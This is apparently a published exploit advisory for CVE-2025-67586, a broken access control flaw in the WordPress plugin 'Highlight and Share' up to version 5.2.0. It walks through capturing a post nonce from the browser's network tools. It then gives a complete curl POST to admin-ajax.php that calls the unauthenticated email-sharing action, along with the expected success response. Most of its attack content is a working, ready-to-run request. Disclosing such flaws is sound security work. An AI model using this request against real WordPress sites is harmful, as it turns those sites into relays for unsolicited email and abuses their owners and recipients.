📄 WordPress Highlight and Share 5.2.0 Missing Authentication

# Exploit Title: WordPress Plugin 5.2.0 - Broken Access Control
    # Date: 2025-09-20
    # Exploit Author: Zeeshan Haider
    # Vendor Homepage: https://wordpress.org/plugins/
    # Software Link: https://wordpress.org/plugins/highlight-and-share/
    # Version: <= 5.2.0 (REQUIRED)
    # Tested on: WordPress 6.x, Kali Linux
    # CVE: CVE-2025-67586
    
    ==> Description
    A broken access control vulnerability exists in a WordPress plugin developed by DLX Plugins.
    The plugin exposes an unauthenticated AJAX action that allows attackers to abuse the
    "Share via Email" functionality without proper permission checks.
    
    An unauthenticated attacker can reuse a valid post nonce to trigger email sharing requests,
    leading to unauthorized email sending (email spam / abuse) without user authentication.
    
    ==> Privileges Required
    None (Unauthenticated)
    
    
    ==> Proof of Concept (PoC)
    
    > Step 1: Pick website with Installed Plugin 
    
    > Step 2: Obtain a Valid Nonce
      1. Open a public post.
      2. Highlight text and click **Share via Email**.
      3. Open Developer Tools → Network → XHR.
      4. Send the email once.
      5. Capture the request containing:
       action=has_email_social_modal
       nonce=<NONCE>
       post_id=<POSTID>
    
    Step 3: Exploit via Unauthenticated Request
    
    > bash cmd: (replace website URL, post URL, and nonce)
    
    curl -s -i -X POST 'http://localhost/wp-admin/admin-ajax.php' \
    -d 'action=has_email_form_submission' \
    -d 'formData[postId]=<POSTID>' \
    -d 'formData[permalink]=http://localhost/?p=<POSTID>' \
    -d 'formData[nonce]=<NONCE>' \
    -d 'formData[toEmail][email protected]' \
    -d 'formData[subject]=PoC' \
    -d 'formData[shareText]=POC test' \
    -d 'formData[emailShareType]=selection' \
    --compressed
    
    
    --> Expected JSON response:
    
    {
    "success": true,
    "data": {
    "errors": false,
    "message_title": "This post has been shared!",
    "message_body": "You have shared this post with [email protected]",
    "message_subject": "[Shared Post] <POST TITLE>",
    "message_source_name": "Site Name",
    "message_source_email": "[email protected]"
    }
    }